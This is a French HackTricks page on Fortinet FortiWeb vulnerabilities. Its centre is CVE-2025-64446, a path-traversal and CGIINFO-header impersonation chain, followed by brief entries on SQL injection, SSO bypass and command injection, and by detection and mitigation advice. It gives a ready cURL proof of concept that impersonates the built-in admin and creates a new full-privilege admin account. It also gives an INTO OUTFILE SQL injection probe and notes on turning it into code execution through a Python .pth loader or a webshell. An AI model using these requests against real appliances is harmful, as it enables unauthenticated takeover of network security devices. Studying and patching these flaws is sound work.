Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Aperçu

Fortinet FortiWeb expose un dispatcher CGI centralisé à /cgi-bin/fwbcgi. Une chaîne de deux bugs permet à un attaquant distant non authentifié de :

  • Atteindre fwbcgi en commençant l’URL par un préfixe API valide et en traversant des répertoires.
  • Usurper l’identité de n’importe quel utilisateur (y compris l’utilisateur intégré admin) en fournissant un en-tête HTTP spécial que le CGI considère comme identité.

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Une exploitation a été observée in the wild pour créer des comptes admin persistants.

Versions impactées (d’après la documentation publique) :

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 renvoie HTTP 403 pour la sonde de traversal ci‑dessous.

Test rapide de vulnérabilité

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Interprétation : HTTP 200 → probablement vulnérable ; HTTP 403 → corrigé.

Chaîne des causes racines

  1. API-prefix path traversal to internal CGI
  • Tout chemin de requête qui commence par un préfixe d’API FortiWeb valide (par ex. /api/v2.0/cmdb/ ou /api/v2.0/cmd/) peut traverser avec ../ jusqu’à /cgi-bin/fwbcgi.
  1. Minimal-body validation bypass
  • Une fois fwbcgi atteint, une première porte effectue un contrôle JSON permissif indexé par un fichier spécifique au chemin sous /var/log/inputcheck/. Si le fichier est absent, le contrôle passe immédiatement. S’il est présent, le corps n’a besoin que d’être du JSON valide. Utilisez {} comme corps minimal conforme.
  1. Header-driven user impersonation
  • Le programme lit la variable d’environnement CGI HTTP_CGIINFO (dérivée de l’en-tête HTTP CGIINFO), la décode Base64, analyse le JSON, et copie les attributs directement dans le contexte de connexion, en définissant le domaine/VDOM. Clés d’intérêt :
  • username, loginname, vdom, profname
  • Exemple JSON pour usurper l’administrateur intégré :
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Base64 de ce qui précède (as used in-the-wild):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

Schéma d’abus de bout en bout (non authentifié → admin)

  1. Atteindre /cgi-bin/fwbcgi via un traversal de préfixe d’API.
  2. Fournir n’importe quel corps JSON valide (p.ex., {}) pour satisfaire la vérification d’entrée.
  3. Envoyer l’en-tête CGIINFO: <base64(json)> où le JSON définit l’identité cible.
  4. POSTer le JSON backend attendu par fwbcgi pour effectuer des actions privilégiées (p.ex., créer un utilisateur admin pour la persistance).

Minimal cURL PoC

  • Vérifier l’exposition au traversal:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Se faire passer pour l’admin et créer un nouvel utilisateur admin local :
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Remarques :

  • Tout corps JSON valide suffit (p. ex., {}) si /var/log/inputcheck/<path>.json n’existe pas.
  • Le schéma d’action est interne à FortiWeb ; l’exemple ci‑dessus ajoute un administrateur local avec tous les privilèges.

Autres vulnérabilités FortiWeb 2025 à vérifier rapidement

Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)

  • Affecte 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Corrigé dans 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
  • Bug : get_fabric_user_by_token() utilise la valeur Authorization: Bearer <token> directement dans une requête SQL. L’attaquant fournit du SQL qui s’exécute en tant qu’utilisateur MySQL et peut déposer des fichiers via SELECT ... INTO OUTFILE, entraînant de l’exécution de code (webshell/.pth loader).
  • Surface d’attaque typique : /api/fabric/device/status (et autres Fabric Connector endpoints) sur HTTP/HTTPS dans le plan de gestion.
  • Test rapide pour SQLi :
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
  • Weaponization: écrire un fichier .pth dans les site-packages Python de FortiWeb qui importe os;os.system(...) au démarrage de l’interpréteur, ou déposer un CGI sous le webroot. Le rechargement des services exécutera la payload.
  • Hunting clues: Authorization headers contenant quotes/UNION/SELECT ; fichiers inattendus sous /data/lib/python*/site-packages/ ou /data/var/waf/html/ROOT/cgi-bin/.

FortiCloud SSO signature bypass (CVE-2025-59719)

  • Une vérification SAML de signature incorrecte permet à un attaquant de forger des réponses FortiCloud SSO et de se connecter en tant qu’admin sans identifiants.
  • Exploitable uniquement lorsque la FortiCloud SSO login est activée (elle s’active automatiquement si l’appliance a été enregistrée via le GUI à moins que la case n’ait été décochée).
  • Affectés (d’après le PSIRT) : 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Corrigé dans 8.0.1 / 7.6.5 / 7.4.10.

OS command injection in management plane (CVE-2025-58034)

  • Affectés : 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Corrigé dans 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
  • Probe pratique (non-destructif) : envoyer un paramètre contenant ;id; aux endpoints HTTP de management et observer des réponses 500 contenant la sortie de commande ; bloquer ou patcher immédiatement si un echo est observé.

Détection

  • Requêtes atteignant /cgi-bin/fwbcgi via des chemins préfixés API contenant ../ (ex. /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • Présence de l’en-tête CGIINFO avec du JSON Base64 contenant les clés username/loginname/vdom/profname.
  • Fabric Connector SQLi : Authorization headers contenant des métacaractères SQL, fichiers soudains dans les répertoires Python site-packages/CGI, accès à /api/fabric/device/status depuis des IPs Internet.
  • FortiCloud SSO : émetteurs SAML inattendus ou valeurs d’audience dans /var/log/ssod.
  • Artefacts côté backend :
  • Fichiers par-chemin sous /var/log/inputcheck/ (configuration de gate).
  • Créations inattendues d’admin et modifications de configuration.
  • Validation rapide : la sonde de traversal retournant 200 (exposé) vs 403 (bloqué dans les builds corrigés).

Mitigation

  • Mettre à jour vers les releases corrigées (exemples : 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) selon l’avis du vendor.
  • Patcher les autres failles 2025 : SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
  • Jusqu’à correction :
  • Ne pas exposer le management plane de FortiWeb à des réseaux non fiables.
  • Ajouter des règles reverse-proxy/WAF pour bloquer :
  • Les chemins commençant par /api/ et contenant ../cgi-bin/fwbcgi.
  • Les requêtes portant un en-tête CGIINFO.
  • Les appels Fabric Connector avec des métacaractères SQL dans Authorization.
  • Les endpoints SAML depuis Internet si FortiCloud SSO n’est pas utilisé.
  • Surveiller et alerter sur les indicateurs de détection ci-dessus.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks